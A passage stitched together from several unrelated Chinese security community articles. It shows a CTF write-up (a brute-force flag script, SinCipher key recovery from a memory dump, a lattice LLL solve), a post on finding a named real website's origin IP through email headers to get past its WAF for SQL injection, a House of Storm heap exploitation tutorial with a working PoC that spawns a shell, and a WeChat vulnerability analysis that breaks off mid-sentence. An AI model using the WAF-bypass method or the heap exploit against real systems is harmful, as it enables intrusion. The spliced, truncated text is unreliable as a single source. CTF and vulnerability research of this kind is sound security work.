* 偏移值决定输入是与前面30*32的十六进制数的哪一位做运算，第一种运算是：第i位与第i行的第x位（x受偏移值控制，最大为15）进行计算，第二种运算是：第i位与第i行的第15+x位做运算，两个结果都是与第i行最后一位比较，有一个相等即可完成检查。
* 据此可以写爆破脚本，得到每一位的可行值。
不计md5的逻辑，可行的flag可以由以下脚本爆破得到，修改md5值可得到多个文件，使用任何cpp编译器编译可得到文件。
```bash
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include <stdint.h>
#include<Windows.h>
unsigned char gua[64];
unsigned char table[32][33] = {
"f686bee4665fa77525e0f784097f4b3f",
"8ec4b805f93e9edd178818b3993e4a5d",
"4edb219c1f7dcf6dfb5c471a1f44ffa5",
"bd244ed81f96aef43ea55704085af9b4",
"594537dc31688cc4ef722bacdfac518e",
"91f800e6787c42f26e939a391c398ec6",
"69cf503c8cadc12176e791c6615bd704",
"8b1b9b88692d3804b9710a72ae458843",
"fe77fb82cf016df3913ed002bccb7d6d",
"711453fe706aed138823de8dcbf2fc38",
"4f027901b70a595828647b3a1407078e",
"5be1878d4e222009f13a3aacb2192861",
"3109983436e0eebe2b5c5a5e3d668c6b",
"6b33b28e18d6d9f0db4688cfad20ccbe",
"b47b71f489033446d3d9f097060e33ec",
"28d0871eb3f67152d8aa820500ddeabc",
"df51b921388b8032190cf0a3760e6fb6",
"85f7c2f7689bbf43965d120e3e7d4989",
"2d291f1367021787efb4a9bf3a204a92",
"7caf326155610f1b827a16e31cb9e04d",
"026910fc9c1aee91868e39dc5c0a3828",
"6f6dd1338d58da08a6c3a5ac28e73728",
"9555bb8ef33de07ed414521b30d1ce1f",
"f45c235edf62094bbbdd63a7b8c6dbc3",
"db2b5f869cc8517f596a4cd182a812e7",
"c6cf507b8a27e604a04d999ad8b9c5b4",
"5292154eb9e144201ec8e87dbb49769f",
"e6f55bc893978043e128015cc02b0197",
"cf727d37d5347f6573f3c82b1cc36287",
"7f1412d1f3e82f7335d19fa944c368ed",
"c3fe545e249ef80f5327d01be270c784",
"5ccd45379ddf5c9be0654e88c6984c83" };
int hex2int(char h) {
if (h >= '0'&&h <= '9') {
return h - '0';
}
else if (h >= 'a'&&h <= 'f') {
return h - 'a' + 10;
}
else {
return 0;
}
}
char int2hex(int x) {
char t[] = "0123456789abcdef";
return t[x];
}
int modplus(int a, int b) {
return (a + b) % 16;
}
int modminus(int a, int b) {
return (16 + a - b) % 16;
}
int modmult(int a, int b) {
return (a*b) % 16;
}
int modxor(int a, int b) {
return (a^b) % 16;
}
int onechange(int index, int k) {
int p1, p2;
int g1, g2;
g1 = hex2int(table[31][index]) / 4;
g2 = hex2int(table[31][index]) % 4;
if (g1 == 0) {
p1 = modplus(k, hex2int(table[index][hex2int(table[30][index])]));
}
else if (g1 == 1) {
p1 = modminus(k, hex2int(table[index][hex2int(table[30][index])]));
}
else if (g1 == 2) {
p1 = modmult(k, hex2int(table[index][hex2int(table[30][index])]));
}
else if (g1 == 3) {
p1 = modxor(k, hex2int(table[index][hex2int(table[30][index])]));
}
if (g2 == 0) {
p2 = modplus(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
}
else if (g2 == 1) {
p2 = modminus(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
}
else if (g2 == 2) {
p2 = modmult(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
}
else if (g2 == 3) {
p2 = modxor(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
}
if (p1 == hex2int(table[index][31]) || p2 == hex2int(table[index][31])) {
return 1;
}
else {
return 0;
}
}
int main() {
char input[64]="Sangfor{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
int li = strlen(input);
float kilo = (li - 9) / 2;
//printf("%.1f斤，%d块\n", kilo, li - 9);
Sleep(1500);
if (li - 9 != 30) {
printf("重新挑一个\n");
exit(1);
}
for (int i = 0; i < li; i++) {
if (i < 8) {
}
else if (i == li - 1) {
}
else {
for (int t = 0; t < 16; t++) {
input[i] = int2hex(t);
int u = onechange(i - 8, hex2int(input[i]));
if (u == 1) {
printf("%d %c\n",i-8,int2hex(t));
}
}
}
}
system("pause");
}
得到的结果如下：
```bash
0 9 e
1 5 9
2 8 b
3 b d
4 5 c
5 6 9
6 4 d
7 3 b
8 b e
9 b d
10 9 f
11 1 9
12 1 9
13 f
14 2 4
15 6 7 e
16 a f
17 2 4
18 4 e
19 b e
20 5 6
21 1 3 5 7 9 b d e f
22 2 3
23 7
24 0 5
25 0
26 6
27 4
28 4 e
29 3 c
此为每一位的可行值，逐位爆破，共计有2的23次方乘以3乘以9得出226492416种不同的flag，选择一个flag并将md5值写在题目中即可实现多文件。
基于以上爆破结果，此脚本即可完成功能。
import hashlib
p01=['95','e5','99','e9']
p23=['8b','bb','8d','bd']
p45=['56','c6','59','c9']
p67=['43','d3','4b','db']
p89=['bb','eb','bd','ed']
p10=['91','f1','99','f9']
p12=['1f','9f']
p14=['2','4']
p15=['6','7','e']
p16=['a2','f2','a4','f4']
p18=['4b','eb','4e','ee']
p20=['5','6']
p21=['1','3','5','7','9','b','d','e','f']
p22=['27','37']
p24=['0064','5064']
p28=['4','e']
p29=['3','c']
str = 'Sangfor{'
for a01 in range(len( p01 )):
for a23 in range(len( p23 )):
for a45 in range(len( p45 )):
for a67 in range(len( p67 )):
for a89 in range(len( p89 )):
for a10 in range(len( p10 )):
for a12 in range(len( p12 )):
for a14 in range(len( p14 )):
for a15 in range(len( p15 )):
for a16 in range(len( p16 )):
for a18 in range(len( p18 )):
for a20 in range(len( p20 )):
for a21 in range(len( p21 )):
for a22 in range(len( p22 )):
for a24 in range(len( p24 )):
for a28 in range(len( p28 )):
for a29 in range(len( p29 )):
str = 'Sangfor{'+p01[a01]+p23[a23]+p45[a45]+p67[a67]+p89[a89]+p10[a10]+p12[a12]+p14[a14]+p15[a15]+p16[a16]+p18[a18]+p20[a20]+p21[a21]+p22[a22]+p24[a24]+p28[a28]+p29[a29]+'}'
mk=hashlib.md5(bytes(str,"utf8")).hexdigest()
if mk[0:10]=='16f6d95849':
print(str+':')
print(mk)
## Crypto
### SinCipher
1.拿到文件用binwalk跑啥也没有。
2.用strings看有很多无意义的字符串，限制长度后，可以看到如下字符，获取到加密的iv和密文了，猜测有pyc文件，版本为3.8.2。
$ strings -8 memdump
expect python 3.8.2c
z+SinCipher.gen_round_key.<locals>.<listcomp>r
SinCipher.gen_round_key
z'SinCipher.sub_trans.<locals>.<listcomp>r
SinCipher.sbox_trans)
__encrypt_oneD
SinCipher.__encrypt_onec
z%SinCipher.encrypt.<locals>.<listcomp>r
_SinCipher__encrypt_one)
<module>
{"iv": "8e9313ce03257990eb5c019f97afe2aa4ceb27ac327f4493f300bffe3fb94dc8", "cipher": "c732f791dde0a9e7819da08462e9e767b43df88b8e450d2d63e076fd0f32fe6a51e7fbcc220f4c7b30"}
......
3.根据版本号与pyc的结构，定位到pyc的起始位置为0x19020：
1:9020h 55 0D 0D 0A 00 00 00 00 0C F2 67 61 5E 13 00 00
1:9030h E3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1:9040h 00 04 00 00 00 40 00 00 00 73 76 00 00 00 64 00
1:9050h 64 01 6C 00 5A 00 64 00 64 01 6C 01 5A 01 64 00
1:9060h 64 01 6C 02 5A 02 64 00 64 01 6C 03 5A 03 64 00
1:9070h 64 02 6C 04 6D 05 5A 05 01 00 64 03 65 03 6A 06
1:9080h 76 00 73 3E 4A 00 64 04 83 01 82 01 47 00 64 05
1:9090h 64 06 84 00 64 06 65 07 83 03 5A 08 65 09 64 07
4.提取出pyc并反编译：
$ dd of=tmp1.pyc if=memdump skip=1 bs=102432
9+1 records in
9+1 records out
946144 bytes (946 kB, 924 KiB) copied, 0.001197 s, 790 MB/s
$ uncompyle6.exe tmp1.pyc > tmp.py
5.查看代码发现它只有加密部分，且存在一个假的加密密钥：
def main():
secret_key = b'O_O.... -_-...' # 这是错误的密钥
iv = weak_rand_str(32)
sin = SinCipher(secret_key, iv)
plain_text = input('')
plain_bytes = plain_text.encode('utf8')
cipher_bytes = sin.encrypt(plain_bytes)
print(json.dumps({'iv':iv.hex(), 'cipher':cipher_bytes.hex()}))
if __name__ == '__main__':
main()
现在已知加密算法/IV和密文，需要找出加密的密钥再写出解密算法。
6.经过分析加密算法，加密脚本只有S盒，需要先算出逆S盒：
def r_sbox_gen(sbox: list):
r_sbox = list(range(0, 256))
for i in range(0, 256):
raw = (sbox[i] & 0xf0) >> 4
rol = sbox[i] & 0xf
r_sbox[(raw * 16) + rol] = i
return r_sbox
另外它会通过输入的密钥生成轮密钥，轮密钥间存在相互关系：
def gen_round_key(cls, mk: tuple):
rk0 = [(cls.FK[i] ^ mk[i]) & 0xffffffff for i in range(0, 4)]
rk = rk0 * cls.ROUND_COUNT
for i in range(1, cls.ROUND_COUNT):
for j in range(0, 4):
if j == 0:
rk[i * 4 + j] = cls.sbox_trans(cls.ROUND_KEY[i - 1] ^ rk[i * 4 + j - 4]) ^ rk[i * 4 + j - 1]
else:
rk[i * 4 + j] = rk[i * 4 + j - 4] ^ rk[i * 4 + j - 1]
return rk
根据轮密钥规律，每一个密钥是它的前一位与前4位异或而得，每轮的第一位还和轮数相关，因此可通过此规律在内存中搜寻密钥，且只需要知道连续的5位就能恢复出原始密钥，算法如下：
def crack_rk(data):
def find_key_first(x: list):
# 先定位到一个符合规则的位置
for i in range(len(x) - 1, 3, -1):
if x[i] == x[i - 4] ^ x[i - 1]:
x = x[:i + 1]
return x
def find_round(x: list):
"""获取一轮的数据和当前轮数"""
for i in range(len(x) - 1, 3, -1):
if x[i] == x[i - 4] ^ x[i - 1]:
continue
for j in range(SinCipher.ROUND_COUNT - 1):
if x[i - 4] == SinCipher.rsbox_trans(x[i - 1] ^ x[i]) ^ SinCipher.ROUND_KEY[j]:
# 找到了它，辣么
round = j
x = x[i - 4:i]
return round, x
def recovery_key(round_key: list[int], round):
"""从一个完整的轮密钥恢复出原始密钥"""
assert len(round_key) == 4
round += 1 # 第0轮开始
rk = round * 4 * [0] + round_key
for i in range(round - 1, 0, -1):
for j in range(3, -1, -1):
rk[i * 4 + j] = (rk[(i + 1) * 4 + j] ^ rk[(i + 1) * 4 + j - 1]) & 0xffffffff
if j == 0:
rk[i * 4 + j] = (SinCipher.rsbox_trans(rk[i * 4 + j]) ^ SinCipher.ROUND_KEY[i - 1]) & 0xffffffff
rk0 = tuple(map(lambda x, y: (x ^ y) & 0xffffffff, rk[4:8], SinCipher.FK))
return SinCipher.sin_i2b(rk0)
x = b2i(data)
x = find_key_first(x)
x = find_round(x)
return recovery_key(x[1], x[0])
#> e08f08b75ee3ccb560f25920a1af79fc
7.恢复出密钥后，可通过加密算法写出解密算法，解密数据。
def decrypt(data):
secret_key = crack_rk(data)
cipher = '''{"iv": "8e9313ce03257990eb5c019f97afe2aa4ceb27ac327f4493f300bffe3fb94dc8", "cipher": "c732f791dde0a9e7819da08462e9e767b43df88b8e450d2d63e076fd0f32fe6a51e7fbcc220f4c7b30"}'''
cipher = json.loads(cipher)
iv = bytes.fromhex(cipher['iv'])
cipher = bytes.fromhex(cipher['cipher'])
sin = SinCipher(secret_key, iv)
plain = sin.decrypt(cipher)
print(plain.decode('utf'))
#> e08f08b75ee3ccb560f25920a1af79fc
#> SangFor{Rexz-zluMoHtlhyC3t7E8jB7psZWIKCp}
### GeGe
这一题实质上就是一道求解SVP的题目。
前置知识：
空间（Span）
给定一组线性无关的基向量v1, v2, ..., vn，那么这些基向量的所有线性组合。
所形成的集合，叫做这组基向量所张成的空间。
例如，在二维平面中，选两个单位正交向量作为基向量。
由这两组基向量的所有可能的线性组合。
张成的空间为整个二维平面。二维平面上的任何一点，都可以由这两组基底的一个线性组合来表示。
格（Lattice）
格的定义与空间类似，给定一组线性无关的基向量v1, v2, ..., vn，那么这些基向量的所有整系数线性组合。
所形成的集合，叫做这组基向量所张成的格。（系数不是任何实数，而是任何整数）不同的基底，可能会张成不同的格。对原基底进行整系数线性转换得到的新的基底，张成的格不变。
格相关的问题中，有两个知名的难题：
SVP（最短向量问题，Shortest Vector
Problem）：给定格和基向量，找到格中的一个长度最短的非零向量。CVP（最近向量问题，Closest Vector
Problem）：给定格和基向量，以及一个不在格上的目标向量，找到格中一个距离目标向量最近的格向量。在广义上的这两大难题已经被证明是NP难问题。
本题是求解SVP（最短向量问题，Shortest Vector Problem）的题目。
格基规约算法中的LLL算法，可以求解2维的SVP问题。
解题思路：
已知2个关系式和p、h、c；求m、f、g。目前无法确定随机数r的值，想办法化简。
由于未知量较多，先假设f、g已知。对上面一式带入二式。
两边同乘f。
得到：
r 为1024 bit，g 为768 bit，m 为flag字符串转成数字，一个字符8bit，一般来说flag不会太长，所以基本上是小于1000 bit，f
为1024 bit，p 为3072 bit。
右边式子的值小于p，所以模p，得到的是：
则令：
即：
通过变换以及参数之间的大小关系，在同余式里面得出了一个等式。
这样可以将随机数r约掉。
此时，r被化简，只需要求出f、g，就可以的到明文m的值：
注：在模 g下运算，g是一个768 bit的强素数，这就保证了，f是个1024 bit的数，在模 g下，f' = f - k*g的逆元必定存在。
现在只要求f、g，就能解出m，求f、g的方法，此式子，看做格来求解SVP问题。
两边同乘f。
可以构造一个由下面这个矩阵M中的两个行向量(1,h), (0,p)所张成的格：
两边同乘f。
下面我们来证明向量(f, g)是在这个格上的。
证明
将同余式，
化为等式，
恒等变换，
可以发现，
向量 (f,g) 可以由基向量M的某种整系数线性组合 (f, -u) 来表示，因此向量 (f,g) 就在这个格上。
已知h, p, f, g的大小。
h：2000多bit p：3072bit f：1024 bit g：768 bit
相对于两个基底向量 (1, h), (0, p) 来说，向量 (f, g) 的长度要小得多得多，根据Gaussian
heurstic可知，在这个格中最短向量的长度大概在sqrt(2^3072)约等于2^1536左右。因此，很大概率上，这个(f,
g)就是这个格的最短向量。本题是求解SVP（最短向量问题，Shortest Vector Problem）的题目。
格基规约算法中的LLL算法，可以求解2维的SVP问题。
SageMath有内置的LLL算法实现。
# Construct lattice.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
# Solve SVP.
shortest_vector = m.LLL()[0]
f, g = shortest_vector
print(f, g)
if f < 0:
f = -f
if g < 0:
g = -g
最短向量坐标点有可能为负，所以记得取正，得到f、g的值，带入此式，可求得明文m。
# Decrypt.
a = f * c % p % g
m = a * inverse_mod(f, g) * inverse_mod(f, g) % g
print(hex(m))
完整的解题sage代码：
<https://sagecell.sagemath.org/，有在线的sagemath的编辑器。>
# sage
h = 741685980036657124703570824117837943284881194590239567891710666488343092021421903134091659952188649247812611838027447639769126034113747591994366775687375938967689804725196805491414508727437312992768010481834419757670471940075261194879453423923219441257614756265217894613370817896974099404872094147543899352059390091684223795142546563465495330437517764151319634429847222377879702032311285611223439501739927480752413359628416456028279899789972187563618018323679710545652662164125111147585075432716751781364422911569092775368885926180663208641709638464929946478449144257415280995569405660352909393579251948867427394616986700595831562669657998566133390819818439212188072311169414636981074849512957738865991057231262600908765213165983659796926041306763839123708343607947260925756758958195312529064568036435600692876965244213968886099767921881431898610126403483239033503773049306021547301942115027730890839384097247580833293474121
p = 5050233608529261815459421720709753276268013465317000771847761427957603528040869563265512088502404346554651894767140649951393710149478346487842226815680708858366844907626693398878139547241241604618724512692518021411749264259840624777936075900186833546340656774885080077167415236481738944038259649234453620143653070795178807131460601258060138179420716641430995833287189245805143750618302652642415486774848066609117273672921413983390999591473162031857282360905260202304823054997752113434845072557695790439790834994452905929352930982374841221663164102442465389946495692126891880858411108590904768261764284777490002833011814702755850977198518393079695381425590965457831372828368997585616447655967985166143972176378983702291578885987130611662291398925420497222946016835570309006428390337561970913212519826593343069311323267590159714748533145359585126694351887284247992873298838977471763682734366220545390283355331333821253454043331
c = 4963446802809571857260968033018406539276364616675148117021060237971516477644729757887366370184520931673134679432221828418088740269678401592795884258839004421043480925685487118640904029869799288796776841100802058925924158488108687288473325967043012138220004040832342591268257566027836494855405293369721831070578120739130911781413843466700339507137012851728602473355307593717499171158125669083422816758550318994201088990498569083885253075290244364705716071465195000806835161297308685979961079993768940640000007962668547794453962322970945764813405945636433263033585002312448411399111242467826146156637847360854845950660733971967028085351610861477485679546778216767725324875436507647728423954456510223005524703874413166915026280934452826254607852008868036423390048222853332874148121355877236114661021786904667122523713764404195998302086834272099572649032757357798879435992821026120121023839152206091356383515016661233619651957370
# Construct lattice.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
# Solve SVP.
shortest_vector = m.LLL()[0]
f, g = shortest_vector
if f < 0:
f = -f
if g < 0:
g = -g
print(hex(f), hex(g))
# Decrypt.
a = f * c % p % g
m = a * inverse_mod(f, g) * inverse_mod(f, g) % g
print(hex(m))
运行，可得flag的十六进制值。
转换成明文得flag。
SangFor{pfa2s1f65ads4fwev1s2d3v1cxxavqes} | 社区文章 |
原文：<http://xaax.im/bypass-cloud-waf/>
有个站域名为 <https://www.sexart.com(左斜眼滑稽>), ping 了一下发现域名被加速乐防护
随便构造一个 SQL 注入语句试试, 果然被加速乐拦截了
被加速乐防护了还黑个毛啊,
扫了下子域名,无收获,于是强行开干,注册了个账号,一看不是手机号注册,是邮箱注册,填写完注册表单内容,提示要进邮箱激活账号,以南极企鹅邮箱为例,发来的邮件内容长这样
这时候点击[新窗口读信],像这样
在打开的新窗口,点击[显示邮件原文],像这样
然后叫老板娘帮你分析邮件原文,邮件原文内容长这样
一堆乱七八糟的内容看的头晕,咱重点关注, Received 开头的那一行,看到那个本机域名了吗? localhost.localdomain
还有旁边被我马赛克的 11开头 IP 地址,敲黑板,重点来了, 我们去访问这个 IP 看下, Bingo!!!!
这个 IP 就是 sexart 的真实 IP, 访问这个 IP 就会跳转到 serart.com ,真实 IP 就这样被窝找到咯~ 接下来的操作就是修改系统
host文件,把这个 IP 绑定到 sexart 就能不受加速乐的防护,直接愉快的看片了,啊不,黑站了. 我们在构造 SQL 注入语句试下
果然不拦截了!!!!! 这方法不是我原创的,之前看到过这种姿势,今天试了一把,果然奏效. End. | 社区文章 |
# House of storm 原理及利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞产生条件及危害
`House_of_storm`是一种结合了`unsorted_bin_attack`和`Largebin_attack`的攻击技术,其基本原理和`Largebin_attack`类似，但是不同的是`Largebin_attack`只可以在任意地址写出chunk地址实际应用中除了泄漏一个堆地址并没有什么其他用处，所以其基本无害。而`House_of_storm`则可以导致任意地址分配chunk，也就是可以造成任意地址写的后果，危害十分之大。`House_of_storm`虽然危害之大，但是其条件也是非常的苛刻。
漏洞利用条件:
1.需要攻击者在`largebin`和`unsorted_bin`中分别布置一个chunk
这两个chunk需要在归位之后处于同一个`largebin`的index中且`unsortedbin`中的chunk要比`largebin`中的大
2.需要`unsorted_bin`中的`bk指针`可控
3.需要`largebin`中的`bk指针和bk_nextsize`指针可控
相较于`Largebin_attack`来说 攻击需要的条件多出了一条“unsorted_bin中的bk指针可控”
但是基本上程序如果`Largebin_attack`条件满足 基本代表存在UAF漏洞 那么多控制一个bk指针应该也不是什么难事..
## 原理及源码分析
> 这里仅对漏洞出现的部分源码进行解释 详细的可以翻看我的`Largebin_attack详解`
漏洞出现在 将一个large_chunk准备从unsortedbin中归位到large_bin的过程中
代码背景介绍: 攻击者在Large_bin中已经布置好了chunk 在上文中该chunk被变量fwd指代,需要插入的chunk用变量victim指代
为了让源码更易读 将需要插入的chunk用unsorted_bin来指代 将在large_bin中的chunk用large_bin来指代
现在假设攻击者设置 large_bin->bk=stack1 large_bin->bk_nextsize=stack2
else
{
// unsorted_bin->fd_nextsize = large_bin;
victim->fd_nextsize = fwd;
// unsorted_bin->bk_nextsize = stack2;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
// stack2 = unsorted_bin;
fwd->bk_nextsize = victim;
// stack2->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
// bck=stack1;
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
...
mark_bin (av, victim_index);
// unsorted_bin->bk = stack1;
victim->bk = bck;
// unsorted_bin->fd = large_bin;
victim->fd = fwd;
// stack2 = victim;
fwd->bk = victim;
// stack->fd = unsorted_bin;
bck->fd = victim;
以上的代码其实就是造成`Largebin_attack`的原因—能造成两次任意地址写堆地址
`House_of_storm`从根本上也是写堆地址，但是攻击者可以利用巧妙的构造`把这个堆地址伪造成size字段`。
通过以前的知识可以知道`unsorted_bin_attack`的攻击是需要在对应地址伪造一个chunk结构出来的，而这个伪造出来的chunk结构最重要的就是这个`size字段`，因为只有首先有了`size字段`Glibc才会确认这是个chunk结构
才会有后续的验证。
但是目前的情况因为我们不能去对应的地址伪造chunk(废话…你都能去目标地址伪造chunk了..任意地址写还有啥意义..直接写不就好了)，那么首要目标就是利用`Largebin_attack`在目标地址-8的位置上写出来一个`size`，其次就是对Glibc检验的绕过。明确了任务
下面就配合实例来具体讲解一下怎么构造
## 实例
这里先直接给出完整利用的代码 后续再拆开进行分块分析
// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
char chunk_head[0x10];
char content[0x10];
}fake;
int main(void)
{
unsigned long *large_bin,*unsorted_bin;
unsigned long *fake_chunk;
char *ptr;
unsorted_bin=malloc(0x418);
malloc(0X18);
large_bin=malloc(0x408);
malloc(0x18);
free(large_bin);
free(unsorted_bin);
unsorted_bin=malloc(0x418);
free(unsorted_bin);
fake_chunk=((unsigned long)fake.content)-0x10;
unsorted_bin[0]=0;
unsorted_bin[1]=(unsigned long)fake_chunk;
large_bin[0]=0;
large_bin[1]=(unsigned long)fake_chunk+8;
large_bin[2]=0;
large_bin[3]=(unsigned long)fake_chunk-0x18-5;
ptr=malloc(0x48);
strncpy(ptr, "/bin/sh", 0x48 - 1);
system(fake.content);
}
struct {
char chunk_head[0x10];
char content[0x10];
}fake;
这里我为了方便，就直接使用结构体来设置一个随机地址。当然，使用栈上的空间也是可行的。
unsigned long *large_bin,*unsorted_bin;
unsigned long *fake_chunk;
char *ptr;
unsorted_bin=malloc(0x418);
malloc(0X18);
large_bin=malloc(0x408);
malloc(0x18);
free(large_bin);
free(unsorted_bin);
unsorted_bin=malloc(0x418);
free(unsorted_bin);
这一部分主要是变量定义，以及后续的malloc两个large_chunk的操作 最后让两个chunk达成利用条件
即`一个large_chunk在large_bin中(chunk large_bin)和一个large_chunk在unsorted_bin中(chunk
unsorted_bin)`
fake_chunk=((unsigned long)fake.content)-0x10;
unsorted_bin[0]=0;
unsorted_bin[1]=(unsigned long)fake_chunk;
large_bin[0]=0;
large_bin[1]=(unsigned long)fake_chunk+8;
large_bin[2]=0;
large_bin[3]=(unsigned long)fake_chunk-0x18-5;
这一段代码就是在模拟攻击者控制各个指针的值了，这里可能会有很多人迷惑:为什么`large_bin[3]=(unsigned
long)fake_chunk-0x18-5;`,即控制`large_bin->bk_nextsize=(unsigned
long)fake_chunk-0x18-5;`.其实这一步就是`House_of_storm`的精髓所在——`伪造size`,下面我们来借助源码分析下究竟这样设置会发生什么样的奇妙反应。
还是上面的那段源码 我们拿过来
else
{
// unsorted_bin->fd_nextsize=large_bin;
victim->fd_nextsize = fwd;
// unsorted_bin->bk_nextsize=fake_chunk-0x18-5;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
// fake_chunk-0x18-5=unsorted_bin；
fwd->bk_nextsize = victim;
// fake_chunk-0x18+0x18-5=victim;
victim->bk_nextsize->fd_nextsize = victim;
}
// bck=fake_chunk+8
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
...
mark_bin (av, victim_index);
// unsorted_bin->bk=fake_chunk+8
victim->bk=bck;
// unsorted_bin->fd=large_bin;
victim->fd = fwd;
// fake_chunk+8=victim;
fwd->bk = victim;
// fake_chunk+8-8=victim;
bck->fd = victim;
这段代码中构造最为巧妙的是这部分
// fake_chunk-0x18+0x18-5=victim;
victim->bk_nextsize->fd_nextsize = victim;
如果在程序开启PIE的情况下，堆地址的开头通常是0x55或者0x56开头，且我们的堆地址永远都是6个字节，且如果是小端存储的话..减去五个字节，剩下的就是0x55了。如果提前5个字节开始写堆地址，那么伪造在`size字段`上面的就正好是0x55！至此，攻击者伪造chunk的目的已经达到了。如果后续再申请堆块时，通过对齐使0x55对齐之后和攻击者申请的size正好相同的话，就可以在任意地址上申请出来一个chunk，也就可以达成后续的任意地址写操作。
ptr=malloc(0x48);
strncpy(ptr, "/bin/sh", 0x48 - 1);
system(fake.content);
后续这段就是在验证攻击是否完成了。当成功申请到chunk的时候，攻击者正好可以拿到结构体中的`content`字段 我们利用申请的chunk进行赋值
用结构体来执行命令验证确实是同一个地址
最后的执行截图
至于为什么会出现这个`段错误(核心已转储)` 其实就是这次执行的时候堆的起始地址是从0x56…开始的 也就是chunk不匹配了 程序就直接crash了..
## 后记
其实这也是我琢磨了看了很久源码才理解出来的 其中肯定有一些不成熟的想法和错误的理论 欢迎各位师傅们斧正 | 社区文章 |
# 微信远程攻击面简单的研究与分析
##### 译文声明
本文是翻译文章，文章原作者 盘古实验室，文章来源：盘古实验室
原文地址：<https://mp.weixin.qq.com/s/yMQN3MciI-0f3mzz_saiwQ>
译文仅供参考，具体内容表达以及含义原文为准。
在完成了对 FaceTime
的一系列漏洞挖掘与研究后，我们决定对微信的音视频通信做一些分析。经分析后发现，当微信语音通话连接建立成功之后，微信客户端将解析远端发来的网络报文并还原成多媒体流。在还原解析的过程中，如果处理远端数据的代码存在问题时就会形成一个远程的攻击面。
在针对这个攻击面进行深入挖掘后我们发现了若干可以造成远程内存破坏的漏洞。本篇文章我们将选择一个比较有趣且复杂的漏洞进行深入的分析。该漏洞可以造成远程写溢出从而导致崩溃，其root
cause隐藏的非常深，触发流程也比较复杂。研究与分析该漏洞无论是对安全研究还是软件开发的角度都有一定的价值。我们将在文章中详细的分析漏洞成因和触发流程。微信已经在最新版7.0.12中修复了该漏洞。
## 开胃小菜
首先我们先介绍两个比较简单的漏洞，一个属于本地代码执行，一个属于远程溢出。
### 本地代码执行
Mac版本的微信客户端处理粘贴操作时，没有有效检查粘贴板对象中内容，导致不安全的对象反序列化。当本地其他恶意应用设置粘贴板时，用户在微信客户端粘贴操作时，会导致任意对象的创建。
如下面截图所示，Mac 版本的微信在反序列化粘贴板对象的过程中，并没有使用secure coding 以及白名单等设置，导致任何可以响应
[initwithcoder:] 函数的 objective-c 对象都能被创建并使用，会引起很大的攻击面。
Mac版本微信对剪切板的处理
具体攻击结果可以参考[Google Project Zero在iMessage中发现的大量不安全反序列化攻击]
(<https://www.blackhat.com/us-19/briefings/schedule/#look-no-hands>—-the-remote-interaction-less-attack-surface-of-the-iphone-15203).
Mac版本微信已经对该漏洞进行了完全正确的修复，调用了 setRequiresSecureCoding: 函数，并作出了安全设置。
修复后的剪切板处理
### 远程下溢出
微信视频通话接通后，通话两端建立网络直连传递RTP报文。微信客户端传输RTP包过程中，采用了一套加密机制。但是微信客户端在RTP解密之前，没有很好验证RTP包长度。当攻击者发送很短的RTP包的时候，会引起接受端处理RTP包过程中长度计算的整数下溢出，进而导致内存越界访问。
RTP包长度验证减法下溢出
有趣的是，GP0 研究员在微信 CAudioJBM::InputAudioFrameToJBM 函数中发现了类似的错误
(<https://bugs.chromium.org/p/project-zero/issues/detail?id=1948)>。这说明微信在在包长度验证时存在一定共性缺陷。
这是一个非常明显的下溢出，但是通过对这个问题的分析，我们认为远程的攻击面中可能存在风险更高的漏洞。
## 远程写溢出成因与分析
跳过前期复杂的协商互联流程，我们在已经通过微信语音通话的状态下，微信客户端将收到远端发送来的音频数据。收到的原始数据会被层层分解处理，并根据不同的类型分发到不同的处理函数上。
### RecvRtpPacketCng
在收到远端的网络数据后，RTP 数据包将被 RecvRtpPacketCng(__int64 XVEChannel, unsigned int
*pData, __int16 len, void *a4) 函数处理，这里的参数
pData内容是语音通话的远端完全可控的。该函数会根据网络包中指定的过不同的代码解析
当pkType类型为7或8时，该网络包的类型为 RTPwithRsMd
当网络包头部的 subpkt 解析完成后会调用 ParaseRemoteLostRateParam 函数：
ParaseRemoteLostRateParam 函数中，根据远端的 pData 中数据设置了XVEChannel+72 处对象的内部数据。通过参数
a2，在 pData 中读取两个字节，并最终设置到 m_RemoteLrParam 和 nFrmCnt 两个成员变量中。
### DevPutProcessRsMdCng
在接收远端的语音数据的同时，也需要将自己的语音数据通过`XVEChannel`对象发送给远端。
在 readRemoteLrParam 函数中，会将刚刚设置的 m_RemoteLrParam 和 nFrmCnt 读取到栈上变量v92中。
在读取`RemoteLostRateParam`到局部变量v92后,需要设置到相应的本地成员变量中
当数据准备好后将调用函数 CAudioRS::RsMdEncProcessCng，写溢出就发生在这个函数中。
当 CAudioRS::RsMdEncProcessCng 刚开始执行时会通过 XVEChannel_72+9 作为 index 写一个 byte.
并在 RsMdEncQueueSourcePktCng 函数中 XVEChannel_72 + 9 将做一次自增。
当 CAudioRS::RsMdEncProcessCng 退出前会根据当前的状态更新成员变量。
[1] 通过`update_data`根据`LocalExpectRSPara`的值修改成员变量
[2] 如果XVEChannel_72+9处的值与XVEChannel_72+4处的值相同，则会触发[3]处的代码将XVEChannel_72+9处写0.
因为 XVEChannel_72 + 9 可以根据 pData 中的数据设置成攻击者可控的数据，当 XVEChannel_72 + 9 被设置为大于
